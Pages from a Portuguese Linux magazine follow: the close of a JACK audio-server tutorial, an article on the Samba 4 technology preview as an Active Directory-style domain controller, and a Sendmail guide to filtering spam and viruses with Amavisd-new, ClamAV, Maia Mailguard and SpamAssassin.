O JACK também inspirou uma onda de ferramentas e utilitários novos. O JACK-Rack (figura 6) é um contêiner muito útil para plugins LADSPA que lhe permite montar um rack virtual de módulos de processamento de áudio com controle MIDI de parâmetros dos plugins. Além dele, o JAMin (figura 7) é o resultado de um esforço coletivo de profissionais de áudio para criar uma interface de qualidade profissional para masterização estéreo, baseada nos plugins LADSPA de processamento de

sinais de áudio. O Timemachine grava o buffer em disco e continua gravando em tempo real. O JAAA (JACK and ALSA Audio Analyser, figura 8) é um gerador de sinal e analisador de espectro de nível profissional, construído para medições precisas de áudio. E só para mostrar que não há necessidade de uma interface gráfica sofisticada, o jack_convolve é um engine de convolution de linha de comando baseado no JACK, muito útil para criarmos efeitos de reverberação e outros de alta qualidade.

JACK em açãoAs figuras 9 e 10 mostram o JACK em dois exemplos de uso no Estúdio Dave. A figura 9 ilustra um uso mais simples numa rede áudio-e-MIDI, combinando o seqüenciador MIDI seq24, o sintetizador baseado em soundfont QSynth e o Jack-Rack, todos ro-dando num Omnibook PII 266 com seu humilde chip de som Crystal Sound CS4232. A figura

10 demonstra um conjunto mais ambicioso de roteamentos e co-nexões com o JACK gerenciando a E/S entre uma M-Audio Delta 66, o Ardour e o Hydrogen.

Não há muito a acrescentar sobre o uso do JACK nesses ce-nários. Uma vez configurado o JACK, seu desempenho é com-pletamente transparente. Você só precisa estabelecer as conexões e fazer sua música.

Programação com o JACKProgramar com a API do JACK está além dos objetivos deste artigo. Leitores interessados encontram excelentes ins-truções no código-fonte do JACK (veja os arquivos simple_client.c no diretório example_clients) e em vários sites pela rede. Um tutorial em http://www.dis-dot-dat.net/index.cgi?item=/jacktuts/star-ting/ contém uma introdução muito bem escrita sobre como adicionar o JACK a um simples aplicativo de áu-dio. Lewis Berman escreveu um PDF sobre como escrever um gravador de áudio com o JACK em http://userpa-ges.umbc.edu/~berman3/. Além disso, a API do JACK naturalmente pode ser lida e estudada no bem comentado arquivo de cabeçalho jack.h.

Se você quiser compilar o JACK e tiver o software doxygen instalado, pode criar documentação para desenvolve-dores do JACK. Essa documentação está disponível no site do JACK, mas sua última atualização foi em 15 de setembro de 2005.

O futuro do JACKEm 2004 o JACK ganhou um mereci-do bronze nos Merit Awards da Open Source Initiative. Naquela época, o software estava na versão 0.9x, e hoje a versão estável é a 0.101.1. Conforme o JACK caminha para a versão 1.0, seu futuro parece brilhante.

O suporte ao MacOSX é atualmen-te uma característica mais comum em novos programas de áudio para Linux, e programadores que usam o JACK pro-vavelmente acham mais fácil planejar o suporte a áudio multiplataforma. Existe

Figura 7 JAMin é uma interface de masterização de qualidade profissional baseada no LADSPA.

Figura 8 O JAAA é um gerador e analisador de espectro de nível profissional.


57

| TUTORIALJACK


também uma implementação em Java, aumentando ainda mais a disponibili-dade multiplataforma do JACK.

Músicos usuários de MIDI têm fa-miliaridade com a implementação de códigos de tempo não suportada pelo JACK atualmente, e uma coordenação das capacidades de sincronização seria muito bem-vinda. O trabalho nessa área já começou a ser feito, então é prová-vel que uma mistura de MIDI com o JACK venha a surgir.

Os atrativos do JACK podem pa-recer irresistíveis, mas ele pode não ser a melhor solução para serviços de áudio para um desktop comum. Di-ferentemente do ALSA, o JACK não foi planejado para ser incluído nos fontes do kernel, então sua presença em qualquer distribuição de Linux é resultado de decisões dos próprios mantenedores da distribuição. Além disso, o JACK não é tão transparente para o usuário quanto os servidores artsd e esd, e é necessário fazer mais configurações para obter o melhor desempenho. Todavia, o JACK é um sistema altamente flexível e pode tornar-se o servidor de áudio para desktops Linux.

Para quem tem inclinações profissio-nais, o JACK é uma dádiva. A estabili-dade de seu desempenho já foi testada e aprovada em aplicações reais de alta demanda, e sua aplicabilidade pode ser vista numa crescente gama de progra-mas baseados em JACK, cada vez mais poderosos. A API do JACK pavimen-tou o caminho para uma nova onda de

aplicativos Linux de áudio de alta qua-lidade e aumentou as possibilidades de uso em desktops Linux normais para os profissionais de áudio. Se você precisa de um sistema de áudio sólido e com grande desempenho para o Ardour, ou se só quer se divertir roteando a saída do XMMS através de efeitos LADSPA no JACK-Rack, você precisa conhecer o JACK. ■

Figure 9 O JACK com uma rede áudio-mais-MIDI.

Figure 10 Uma configuração do JACK mais ambiciosa.

Mais Informações[1] Página do JACK:

http://jackit.sourceforge.net

[2] Matriz de placas de som ALSA: http://www.alsa-project.org/ alsa-doc/

[3] Patchage: http://www.scs.carleton.ca/ ~drobilla/patchage/

[4] QJackConnect: http://www.suse.de/~mana/jack.html

[5] QJackCtl: http://qjackctl.sourceforge.net/

[6] Entrevista com Paul Davis no Builder.com: http://builder.com.com/ 5100-6375-5136755.html?tag=tt

[7] Mini-HOWTO de baixa latência: http://www.djcj.org/LAU/guide/Low_latency-Mini-HOWTO.php3

[8] Notas de Florian Schmidt sobre compilação de um kernel 2.6 com baixa latência: http://tapas.affenbande.org/ ?page_id=3

[9] Página do JACK em linux-sound.org: http://linux-sound.org/ jack.html



Em todas as versões do Samba, o objetivo é o mesmo: compartilhar recursos do Windows® com siste-

mas operacionais Unix como o Linux, e compartilhar recursos do Linux com siste-mas Windows [1]. Um fator de dificuldade para os desenvolvedores é que o suporte a sistemas Microsoft seja um alvo móvel: Redmond não é exatamente renomada por sua disposição de publicar especifi-cações, e a gigante do software continua estendendo seus protocolos SMB/CIFS a cada versão do Windows.

Os desenvolvedores de código aberto tentam acompanhar as mudanças usando ferramentas como o Ethereal para rastre-ar conexões. Isso costumava funcionar no passado, mas a Microsoft dificultou a situação com o Windows 2000 ao in-troduzir o sistema de diretórios baseado em objetos chamado Active Directory Service (ADS, [2]).

Entretanto, nesse caso a Microsoft buscou padrões estabelecidos, e seus desenvolvedores colocaram um banco de dados de usuários LDAP num me-canismo de autenticação Kerberos 5 e optaram pela resolução de nomes ba-seada em DNS. O fato de que a Micro-soft aderiu a padrões verdadeiros abre as portas para o Linux apresentar um alto grau de interoperabilidade, graças às im-plementações livres como o OpenLDAP

e as versões do Kerberos com licenças MIT e Heimdal.

Um objetivo principal do Samba 4 é prover um servidor de diretório Samba que consiga interoperar com o Microsoft Active Directory, e uma versão bastante preliminar dessa funcionalidade foi li-berada no final de janeiro. A equipe do Samba preferiu uma abordagem radical, reimplementando diversas rotinas com o objetivo de tornar o Samba 4 livre de antigas gambiarras que atrapalhavam as versões anteriores. Como conseqüência, muitas opções das quais o Samba 3 de-pende foram retiradas.

Kerberos, OpenLDAP e LDBO Samba 3 deu aos administradores de rede a opção de instalar uma máquina Linux como servidor de domínio num domínio Windows 2000/2003. Do ponto de vista técnico, o servidor usa tíquetes Kerberos com fins de autenticação. Base-ado nesse design, tanto servidores quanto clientes (usando ferramentas como smb-mount) trocam tíquetes, implementando assim operações que requerem somente autenticação uma única vez (single-sign-on) entre o Linux e o Windows dentro do domínio. O uso do Samba 3 como

controlador primário de domínio (PDC, ou Primary Domain Controller) ou con-trolador reserva de domínio (BDC, ou Backup Domain Controller) ficava restrito à autenticação no estilo do Windows NT, com o Kerberos adicionado.

Agora que o Samba 4 implementa sua própria funcionalidade Kerberos, o

A próxima versão do servidor universal

Samba do futuro

Uma versão de demonstração de novas tecnologias do Samba 4 foi apresentada no final de janeiro. Mostramos

aqui as novidades dessa suíte de serviços de

arquivos e impressoras.por Markus Klimke

SY

SA

DM

IN

Samba4WINSO serviço de nomes de Internet do Windows (WINS) é uma volta à época do NT 4. Dito isto, mais e mais sistemas Windows recentes uti-lizam o protocolo WINS para resolver nomes NetBIOS. Quando mapeiam um compartilha-mento, o nome NetBIOS pode ser usado após a primeira contrabarra ou primeiras contra-barras. O Samba já funciona com NetBIOS há algum tempo, pois é isso que permite a inte-roperabilidade entre os servidores. O Sam-ba 4 não mudará isso de forma profunda.

O problema é que servidores WINS que utilizam Samba não suportam replicação. Isso não deixa alternativa aos administradores senão gastar dinheiro rodando servidores WINS Windows. O projeto de cooperação Samba4WINS [3] visa a mudar esse quadro. As empresas envolvidas são Sernet, Computacenter e Fujitsu Siemens Computers, além da Linux Solutions Group e.V. O Samba4WINS será inteiramente integrado ao Samba 4. A funcionalidade pode ser incluí-da no Samba versão 3.0.21 ou mais recente e executada como um processo independente.


59

| SYSADMINSamba 4


Samba pode substituir um controlador de domínio moderníssimo no estilo Micro-soft (veja abaixo). A implementação do Kerberos usa a variante Heimdal, e na-turalmente o desenvolvedor do Heimdal Love Astrand teve um papel importan-tíssimo na equipe de desenvolvimento. No futuro, será possível usar bibliotecas Kerberos externas.

Uma coisa que o Samba 3 nunca conseguiu fazer é a sincronização de bancos de dados de usuários com seus próprios bancos de dados Samba (leia o quadro Samba4WINS para mais detalhes). Já que o OpenLDAP consegue replicar seu banco de dados em outros servido-res do mesmo tipo, os desenvolvedores do Samba 3 simplesmente esqueceram esse assunto. Entretanto, configurar um servidor OpenLDAP não é nada trivial. A equipe do Samba 4, liderada por An-drew Tridgell, se utilizou de toda essa tecnologia disponível e implementou seu próprio back-end LDAP conhecido como LDB.

Outro motivo importante para o Samba implementar sua própria solução LDAP é a replicação livre de problemas. Por exem-plo, os desenvolvedores queriam migrar mudanças através das máquinas envolvidas para eliminar qualquer risco de replica-ção inconsistente. Parece bastante que o Samba 4 ainda manterá a capacidade de se ligar ao OpenLDAP, principalmente para suportar ambientes já estabelecidos com servidores Samba 3.

CIFS, NTFS e ACLS PosixNunca foi o objetivo do Samba restrin-gir o suporte a ambientes heterogêneos; em vez disso, o Samba sempre teve um papel importante no domínio NFS, su-portando o intercâmbio de dados entre sistemas Unix e Linux — chegando ao ponto de competir com o NFS 4, que ainda não está totalmente desenvolvido. Isso fica evidente nos módulos de kernel

relacionados ao CIFS, cujo trabalho de desenvolvimento aumenta a cada versão. Peguemos, por exemplo, as propriedades experimentais do CIFS, que suportam o Kerberos desde a versão 2.6.16. Isso foi uma grande desvantagem em comparação ao SMB do Windows, que permitia aos usu-ários montar compartilhamentos usando single-sign-on com a opção -o krb.

No território do gerenciamento de acesso, o Samba já é capaz de mapear ACLs Posix em ACLs NTFS e vice-versa há algum tempo. Novamente, a versão 4 usa uma abordagem diferente e, em vez de armazenar ACLs NT no sistema de arquivos Posix, introduz um sistema de arquivos virtual conhecido como NTVFS, que guarda os atributos NTFS como eles estiverem. Ele é até mesmo capaz de emular ACLs em streams de dados NTFS. Streams de dados alterna-dos (ADS, ou Alternate Data Streams) são uma função do sistema de arquivos NTFS, que permite que os usuários guardem dados de um arquivo de forma alternada e invisível. Políticas de grupo são outro tópico importante da discus-são; no momento da escrita deste artigo, não havia certeza sobre como o Samba 4 lidará com eles.

Teste de um PDCApós descompactar o código-fonte do Samba 4.0.0tp1, disponível em [4], pro-cure o arquivo howto.txt na árvore do projeto; o arquivo tem algumas dicas interessantes de operação. Após termi-nar a compilação, você primeiro precisa prover o banco de dados. A ferramenta provision se encarrega disso, criando o banco de dados LDAP, o registro, e en-tradas pré-definidas para acesso ao LDB

Exemplo 1: Saída do testparm# Global parameters[global] server role = pdc workgroup = DOMINIOTESTE realm = DOMINIOTESTE.ORG netbios name = LINUX log level = 2 registry:hkey_users = hku.ldb registry:hkey_local_machine = hklm.ldb comment = path = ntvfs handler = unixuid, default read only = Yes hosts allow = hosts deny = max connections = -1 strict sync = No case insensitive filesystem = No max print jobs = 1000 printable = No printer name = map system = No map hidden = No map archive = Yes browseable = Yes csc policy = manual strict locking = Yes copy = include = available = Yes volume = fstype = NTFS msdfs root = No

[dados] path = /export/dados read only = No hosts allow = hosts deny =

[IPC$] comment = Servico IPC (Samba 4.0.0tp1) path = /tmp ntvfs handler = default hosts allow = hosts deny = browseable = No fstype = IPC

[ADMIN$] comment = Servico de DISCO (Samba 4.0.0tp1) path = /tmp hosts allow = hosts deny = browseable = No fstype = DISK

Figura 1 A ferramenta provision inicializa o banco de dados do Samba. É possível usar o Swat para o mesmo fim.

Figura 2 Adicionando um servidor Windows 2003 como um servidor membro de um domínio Samba 4.



SYSADMIN | Samba 4

e ao servidor DNS dos serviços Kerberos (veja a figura 1). Ainda será necessário adicionar entradas manualmente à zona para o servidor DNS. O equivalente do Windows à ferramenta provision é co-nhecido como dcpromo.

O provision criará também um smb.conf mínimo. Se você passar o prefixo /usr com o script configure, encontrará o arquivo de configuração em /usr/lib ao final. Para um maior controle, você pode mudar o daemon Samba para o modo interativo com o comando smbd -i -M single, o que jogará as mensagens na saída padrão. O Samba 4 suporta três modos de operação: ele pode rodar como um único processo, usando threads, ou na variante multiprocesso. Assim que o daemon estiver rodando e você tiver configurado um compartilhamento de teste, o testparm deve gerar uma saída semelhante à do exemplo 1.

De acordo com a equipe do Samba, a versão 4.0.0tp1 é capaz de substituir um PDC. Depois de adicionar as entradas do DNS, nada o impede de adicionar uma máquina Windows ao domínio Samba. Em nosso laboratório, adicionamos um servidor Windows 2003 como servidor membro. Depois de especificarmos o domínio e dizermos que queríamos que a máquina entrasse no domínio, o Win-dows 2003 pareceu bastante confortável (veja a figura 2).

Swat revisitadoO gerenciamento de sistemas foi retra-balhado e consideravelmente estendido. Depois de adicionar novas capacidades como Kerberos e LDAP, a equipe do Samba agora deu passos para tornar a

vida mais fácil para o administrador. A ferramenta, bastante conhecida, mas pouco utilizada Swat renasceu na versão 4: a interface web agora é parte da suíte Samba. Assim que o daemon Samba é iniciado, um servidor embutido com-pacto Appweb [5] fornece a plataforma para o Swat. Isso elimina a necessidade de configurar o Swat, em contraste com as versões anteriores; já é possível navegar pela ferramenta com o seu navegador assim que o daemon é iniciado.

O Swat ainda não tem algumas carac-terísticas necessárias para ser considerado

uma interface completa de administração. Mas ele definitivamente consegue mostrar o que o Samba 4 pode fazer no papel de PDC. O usuário padrão é Administrator, que deve fazer login usando um cliente Windows. Mas o Swat oferece a possibi-lidade de adicionar outros usuários.

Como uma alternativa, você pode ten-tar usar uma das várias novas ferramentas de linha de comando: a que você precisa aqui é a ldbadd. Note que o ldbadd neces-sida de um usuário codificado por LDIF. Como o Swat não é capaz de processar isso, a figura 3 mostra como adicionar um usuário ao domínio. Quando um usuário faz seu primeiro login, as configurações do registro do Samba pedem a mudança da senha. O Swat não suporta políticas de senha atualmente.

Supondo que o login esteja funcionando, as credenciais do usuário agora estão guar-dadas de forma segura no banco de dados LDB do Samba. Se você quiser verificar ou mudar as entradas do banco de dados, pode rodar uma ferramenta de console como o ldbedit ou o ldbsearch. O primeiro abre o banco de dados no seu editor preferido, onde você pode procurar a entrada do usuário e modificá-la se quiser. A figura 4 demonstra como usar o ldbsearch.

O Samba 3 oferecia a possibilidade altamente útil de aceitar um domínio migrado de um servidor Windows NT, e o Samba 4 naturalmente também faz isso.

Figura 3 O Swat permite que você configure um usuário codificado por LDIF; as ferramentas de console oferecem a mesma possibilidade.

Figura 4 A ferramenta de console do Samba, ldbsearch, procurando um usuário.


61

| SYSADMINSamba 4


Os administradores também podem mi-grar domínios do Samba 3 para o Samba 4 pelo Swat. Este modo “vampiro” não é mais restrito ao Windows NT; agora fun-ciona também com o Windows 2000/2003 Server. Na figura 5 é possível ver como migramos um domínio do Windows 2003. Só para ter certeza de que o arquivo de log não estava otimista demais, a figura

6 mostra nossa busca de um usuário no banco de dados LDB do Samba. Nós só queríamos saber se o novo usuário tinha conseguido entrar no novo domínio win, e a resposta foi positiva.

ConfiguraçãoEditar arquivos de configuração é um método comprovadamente eficiente de sintonia fina. No Samba, o número de arquivos de configuração aumentou sen-sivelmente. Da mesma forma, algumas opções do Samba 3 foram descartadas. Ainda não está claro quais dessas op-ções serão retiradas, já que muitas delas ainda permanecem lá para contornar problemas em operações no modo de interoperabilidade.

Novas palavras-chave descrevem o estado e o comportamento do KDC — kpasswd port ou krb5 port, por exemplo. A opção paranoid server security deter-mina um nível de segurança, enquanto ntvfs handler especifica como a camada NTVFS deve se comportar. O padrão aqui é ntvfs handler = unixuid, que sin-croniza as operações de arquivos com o sistema de arquivos Posix abaixo.

A opção ntvfs handler = cifs permite que você rode um servidor Samba como um gateway CIFS, que encaminha pedi-

dos de arquivos para outro servi-dor CIFS. Se o gateway for um servidor membro de domínio, ele pode encaminhar tíquetes de serviços e usuários:

[extdata] ntvfs handler = cifs cifs:server = nextserver cifs:share = shared

Não existem muitos back-ends para o NTVFS atualmente. Além das opções detalhadas acima, o código-fonte tem a opção simple, a qual faz as operações sobre ar-quivos serem operadas com privilégios de superusuário, tornando-a inútil. Se você precisar de mais informações sobre as op-ções do samba.conf, veja o arquivo source/param/loadparm.c no código-fonte.

IndependênciaDe uma forma geral, parece que o Samba 4 finalmente se livrará de suas amarras do passado. Além de LDAP e Kerberos, o software agora consegue lidar com ACLs além do Posix, e tem sua própria emulação de servidor Active Directory. O Samba4WINS fornece serviços de replica-ção a servidores WINS. Há três modelos para maior escalabilidade: processo único, múltiplos processos como no Samba 3, e uma variante com threads.

Mas atenção: essa demonstração de tecnologia apresentada aqui tem o objetivo de servir como plataforma para a revisão de novas tecnologias. Ela não tem todas as características que esperaríamos em operações de produção. Por exemplo, o

suporte a impressão ainda está faltando. Os desenvolvedores não sugerem que se instale o Samba 4 em ambientes de produção até que eles tenham terminado seu trabalho. Um comunicado público indica que isso não acontecerá antes do fim do ano. A sugestão de alguns desen-volvedores é procurar implementações de novas características (ou seja, backports) da versão 4 na versão 3.

A versão 4 não é a única fonte de ocupa-ção dos desenvolvedores do Samba; existe ainda a pequena questão da versão não documentada do Windows Vista SMB 2, que foi completamente reescrita. Se os casos de monopólio na UE contra a Microsoft não tiverem êxito em forçar a empresa a publicar interfaces, a equipe do Samba pretende utilizar novamente sua antiga prática de monitorar transferências de arquivos com o Ethereal. ■

Figura 5 O protocolo Swat seguindo a migração de um domínio do Windows 2003.

Figura 6 Só para verificar se a migração funcionou direito, nós rodamos o ldbsearch para procurar um usuário.

Mais Informações[1] Samba: http://samba.org

[2] Active Directory: http://www.microsoft.com/ technet/prodtechnol/windows2000serv/technologies/activedirectory/default.mspx

[3] Samba4WINS: http://EnterpriseSamba.org/ index.php?id=88

[4] Samba 4.0.0tp1: http://devel.samba.org/samba/ftp/samba4/

[5] Appweb Embedded Webserver :http://www.appwebserver.org

O autorMarkus Klimke trabalha para o Institu-to de Modelagem e Cálculos da Univer-sidade Técnica de Hamburgo-Harburg.



O versátil agente de transporte de mensagens (MTA, na sigla em inglês) Sendmail oferece

diversas formas de controlar a atual epi-demia de vírus e spam. Este artigo apre-senta três cenários plausíveis anti-spam e antivírus antes de terminar com uma discussão sobre uma abordagem radical que virtualmente elimina todo o spam. A discussão pressupõe que o leitor esteja minimamente familiarizado com a con-figuração do Sendmail. O artigo se aterá a ferramentas práticas adicionais. Algu-mas configurações internas do Sendmail [1], como por exemplo as estratégias de prevenção por listas negras, também ajudam a combater essas pragas, porém raramente representam uma solução completa. Para mais informações sobre a configuração de servidores Sendmail,

o site deste programa [2] oferece um resumo de seu código.

O Amavisd-new é uma interface entre um MTA e um filtro de conteúdo como um antivírus ou o Spamassassin. Você pode buscar mais informações sobre o Amavisd-new na edição de Fevereiro de 2006 da Linux Magazine [4]. Diversas configurações do Amavis estão disponíveis para vários MTAs, e oferecem ao mesmo tempo uma interface para estatísticas. O Amavis é bastante seguro do ponto de vista da programação, já que a linguagem Perl não está sujeita a estouros de buffer. O fato de os fóruns de segurança como o SecurityFocus e o FrSirt [5] não falarem muito sobre o Amavis por si só já confirma esse ponto. O Amavis normalmente não requer privilégios de superusuário; ele roda feliz num ambiente de chroot, e dá aos

administradores opções de configuração para evitar ataques de negação de serviço baseados em emails-bomba.

A interface é fácil de instalar. Para sistemas baseados em Debian, rode apt-get install amavisd-new. Como o Amavis geralmente também procura vírus, você certamente vai querer instalar um antiví-rus ao mesmo tempo. A configuração fica em /etc/amavis/amavisd.conf; e as opções dependem da situação atual. Entretanto, você pode antes modificar a sua instala-ção do Sendmail.

Há diversas formas de integrar o Ama-vis ao Sendmail. O recomendado é a va-riante dual do Sendmail. Nesse cenário, a primeira instância do Sendmail aceita emails na porta 10024, encaminhando-os à segunda instância do Sendmail após a verificação.

Sendmail contra o lixo digital

Fora spam!O spam é uma praga digital e deve ser combatido como tal. O Sendmail oferece diversas abordagens, tanto sozinho quanto acompanhado, para filtrar mensagens indesejadas. Entenda os princípios da filtragem de spam com o Sendmail e outros componentes que podem ajudar muito nesta tarefa, e veja qual abordagem oferece o custo-benefício que você espera.por Mirko Dölle

SY

SA

DM

IN


63

| SYSADMINSpam no Sendmail


Sendmail dualExecutar o Amavis significa configurar até dois processos do Sendmail que gerenciam filas distintas de mensagens. Um processo gerencia a fila de recepção (MTA-RX), enquanto o outro cuida da transmissão (MTA-TX): o Amavisd-new fica no meio do caminho, atuando como um filtro de vírus e spam. O processo MTA-RX escuta na porta TCP 25, e lê sua configuração dos arquivos /etc/mail/sendmail-rx.cf e /etc/mail/submit.cf, junto com o arquivo fonte /etc/mail/hostname-rx.mc.

Digite mkdir /var/spool/mqueue-rx para criar o diretório com a fila de emails. A seguinte linha aplica as permissões adequadas:

chown root:amavis /var/spool/mqueue-rx➥ && chmod 700 /var/spool/mqueue-rx

Continue agora com a definição do seu próprio soquete de controle, ou faça os dois processos do Sendmail pararem de discutir:

define(`confCONTROL_SOCKET_NAME’,➥`/var/run/sendmail/mta/smcontrol-rx’)dnl

O processo MTA-TX se liga à porta 10025 da interface local e usa o arquivo de configuração e a fila normais. Para manter as informações legíveis, usaremos o arquivo fonte compartilhado /etc/mail/

Hostname-tx.mc. Defina as configurações para recebimento de email, incluindo os limites de recursos, em hostname-rx.mc. O lado do envio é definido pelo hostname-tx.mc. Uma vantagem da instalação dual do Sendmail é que o MTA-RX, acessível da Internet, não precisa rodar com privi-légios de superusuário, pois não acessa os diretórios home dos usuários.

Programas maliciososA maioria das redes inclui computa-dores com Windows®, portanto faz sentido permitir que o servidor de emails busque vírus. O ClamAV é um antivírus aberto e gratuito com atua-lizações diárias. Binários do ClamAV estão disponíveis para diversas distri-buições de Linux. Infelizmente, esse programa recentemente esteve nas manchetes devido a algumas falhas críticas de segurança, o que dificul-ta sua recomendação. No entanto, o Amavisd-new facilita a execução de múltiplos antivírus em paralelo; uma visão geral dos antivírus mais popula-res está disponível em [6].

Amavis sozinhoA maneira mais simples e menos flexível de combater spam e vírus é usar o Amavis (figura 1) sozinho. A interface automatica-mente integra o Spamassassin, seus plu-

gins e um programa antivírus. As opções são diversas. Se você configurar a variável $mydomain da forma errada, praticamente nada funcionará, então comece dando-lhe um valor. Defina também valores adequados para $LOGFILE e $log_level para ativar a solução de problemas e a análise de logs.

Em seguida, você deve pensar no que acontecerá às mensagens infectadas por vírus e ao spam, definindo as variáveis $final_virus_destiny e $final_spam_des-tiny de acordo. As opções disponíveis são D_PASS, D_DISCARD, D_BOUNCE e D_REJECT; administradores responsáveis devem op-tar por D_BOUNCE em vez de D_REJECT, pois essa última permite a adulteração de endereços (address spoofing).

Esse método utiliza os parâmetros $sa_* para controlar o Spamassassin, que são praticamente auto-explicati-vos. Para marcar todas as mensagens com um cabeçalho X-Spam, defina $sa_tag_level_deflt = -999. Para per-mitir aos usuários identificar spam pela linha de assunto do email, um $sa_spam_subject_tag vazio ajuda. Para aumentar a taxa de detecção, também é bom mandar o Amavis usar fontes externas, como listas negras, o DCC, Razor, Pyzor. Para isso, use a opção $sa_local_tests_only = 0.

Já se mostrou que valores entre 2 e 2,5 são úteis para a $sa_tag2_level_deflt,

Figura 1 Simples e bastante rígido: Sendmail e Amavis lutando sozinhos contra spam e vírus.

Amavisd-newna porta 10024

SM-MTA-TXna porta 10025 Procmail Dovecot

POP3(s), IMAP(s)

Squirrel-mail

Clientede Email

Clam-AV(clamd)

Sasl

SM-MTA-RXna porta 25

~/.procmailrc

TMDA(opcional)

Razor DCC

Spamassassin



SYSADMIN | Spam no Sendmail

que marca mensagens como spam ou não-spam. No caso de aparecerem mui-tos falsos positivos, pode-se aumentar esse valor, mas com cuidado. A opção $sa_mail_body_size_limit nos permite con-trolar o tamanho de mensagem a partir do qual o Amavis não buscará mais spam – emails grandes dificilmente são spam. E a opção $sa_timeout informa o número de segundos que o Amavis esperará pelo Spamassassin antes de encaminhar as mensagens. As listas brancas e negras e os receptores que preferirem desativar a verificação de spam ($spam_lovers) podem ser configurados de forma bastante fle-xível. Listas brancas são problemáticas devido a endereços remetentes adulte-rados, como já mencionamos.

Múltiplos antivírusA solução 1 permite verificar vírus, e pode até usar múltiplos antivírus para-lelamente. (ClamAV e McAfee foram testados com sucesso pelo autor). Assim que o antivírus encontra um vírus, seria um desperdício de recursos entregar a mensagem para o outro. O parâmetro $first_infected_stops_scan = 1 impede esse comportamento.

Também é possível avisar o reme-tente a respeito do email infectado especificando $warnvirussender = 1, porém esse serviço pode não fazer muito sentido, pois administradores afobados provavelmente tratarão seus avisos como spam, ou os endereços adulterados impedirão o email de aviso de alcançar o verdadeiro responsável pelo spam. Se você preferir não apagar automaticamente as mensagens com vírus, pode usar um diretório de qua-rentena com a variável $QUARANTINEDIR, naturalmente cuidando para que haja espaço suficiente em disco.

A varredura de vírus pode rapida-mente consumir boa parte dos recursos de um servidor de email, levando-o assim a uma condição de negação de serviço. Emails-bomba, em especial,

explodem para um tamanho tão grande quando descompactados para a varre-dura de vírus que o servidor pode facil-mente ficar sem memória e espaço de troca. O parâmetro $MAXLEVELS diminui esse problema restringindo os níveis de aninhamento de arquivos múltiplas vezes compactados. Ao atingir o nível pré-definido, o Amavis pára de tentar descompactar o arquivo. O parâmetro $MAXFILES restringe o número de arqui-vos por email.

O parâmetro $MAX_EXPANSION permi-te que você defina um limite em bytes para uso da memória em operações de descompactação. Sempre que um email exceder um desses três limites, o Amavisd-new versão 20060616-p8 ou mais recente adiciona uma etiqueta ***UNCHECKED*** ao campo de assunto. É uma boa prática filtrar esses emails, pois provavelmente contêm vírus.

Solução 2A solução 1 é fácil de configurar, no entanto não oferece muitas opções de personalização das filtragens baseadas em usuários. Uma maneira de estender o Amavis é adicionar o Maia Mailguard

Figura 3 A interface Maia oferece aos usuários a possibilidade de usar configurações individu-ais – listas negras, no caso.

Figura 2 Um cenário mais flexível com bancos de dados e Sendmail, Amavis e Maia.

Amavisd-new

na porta 10024

SM-MTA-TX(porta 10025) Procmail Dovecot

POP3(s), IMAP(s)

Squirrel-mail

Clientede Email

Clam-AV(clamd)

Sasl


~/.procmailrc

TMDA(opcional)

Spamassassin

MySQL-DB

Maia Mailguard(front-end web com PHP)

Razor

DCC


65



[7] conforme o esquema da figura 2. Maia é uma interface web multi-linguagem e fácil de usar feita em PHP e Perl. Ele usa uma versão modificada do Ama-visd-new, que armazena configurações específicas para cada usuário num ban-co de dados MySQL ou PostgreSQL. A instalação é longa, porém não oferece grande dificuldade.

Os usuários acessam suas configura-ções individuais pela interface web. Para isso, pede-se que eles façam login com seus endereços completos (!) de email. Depois, eles podem gerenciar suas cai-xas de mensagens, definir listas negras individuais (figura 3), ou mudar o valor de limite para spam.

O preço dessa conveniência é um maior risco para o administrador: mais componentes sempre significam maior risco de falha. Se o banco de dados travar, o servidor simplesmente pára de entregar os emails. Olhando pelo lado positivo, ele armazena a mensa-gem temporariamente, entregando-a mais tarde, assim que o banco de dados voltar. Para aumentar a disponibilidade, administradores podem utilizar múlti-plos servidores SQL.

O segundo ponto crítico é que as al-terações usadas pelo Maia impedem-nos de instalar as atualizações de segurança em formato binário fornecidas para o Amavisd-new por nossas distribuições

– isso simplesmente apagaria o cami-nho (path). Para servidores de email com grande volume de mensagens, a queda de desempenho devido a acessos repetidos ao banco de dados também pode ser significativa (veja abaixo). Mais uma vez, os administradores podem contornar esse problema utilizando múltiplos servidores.

Solução 3Para uma flexibilidade máxima nas configurações, sem o impacto dos gráficos, um modelo como o da figu-

ra 4 provavelmente é o melhor. Ele usa a interface de Milter do Sendmail para acessar uma instância distinta do Spamd (o daemon do Spamassas-sin). Cada usuário pode definir suas próprias configurações em ~/.spamas-sassin/user_prefs. O Spamd acessa o arquivo user_prefs e detecta spam baseado nesses valores. Se não existir esse arquivo, o Spamassassin automa-ticamente aplicará as preferências do administrador, localizadas em /etc/spamassassin/local.cf.

Como o Spamd precisa acessar os diretórios em /home, ele roda sob a conta do superusuário. Você pode configurar o uso de níveis de usuário ao acesso a esses diretórios, para evitar rodar o pro-cesso como superusuário. Essa é uma

boa medida de segurança. A solução 3 é fácil de instalar: apt-get install spamass-milter spamassassin. Depois acrescente as seguintes linhas:

INPUT_MAIL_FILTER(`spamassassin’,➥`S=local:/var/run/sendmail/spamass.sock,➥ F=,T=S:4m;R:4m;E:10m’)dnl

ao arquivo de configuração do MTA-RX hostname-rx.mc, compile os arquivos de configuração executando m4, e reini-cie o Sendmail. Defina as preferências globais em /etc/spamassassin/local.cf. Veja [8] para uma lista completa de opções. As mais importantes são: para permitir configurações individuais dos usuários, defina allow_user_rules 1. Para etiquetar todo spam, use required_score 2.5, rewrite_subject 1 e rewrite_header Subject ***Spam***.

Os critérios padrão de detecção são bastante bons; opções de configuração mais granulares estão detalhadas em [9]. O Spamassassin dá um valor ao conte-údo dos emails e, se o valor superar um determinado limite, ou o estabelecido pela opção required_score, a mensagem é marcada como spam. Para melhorar a taxa de detecção de spam, é reco-mendável atribuir um valor maior a RAZOR2_CHECK, RAZOR2_CF_RANGE_51_100 e DCC_CHECK. O valor de PYZOR_CHECK já é alto o suficiente. ➧

Figura 4 Uma configuração mais flexível com o uso de bancos de dados com Sendmail e Milter.

Amavisd-newna porta 10024

SM-MTA-TXna porta 10025 Procmail Dovecot

POP3(s), IMAP(s)

Squirrel-mail

Clientede Email

Clam-AV(Clamd)

Spamass-Milter

Sasl


Spamd

~/.spamassassin/user_prefs

~/.procmailrc

TMDA(opcional)

Razor

DCC



SYSADMIN | Spam no Sendmail

UDP (DCC), 2703/TCP, 7/TCP (Razor), e 24441/UDP (Pyzor).

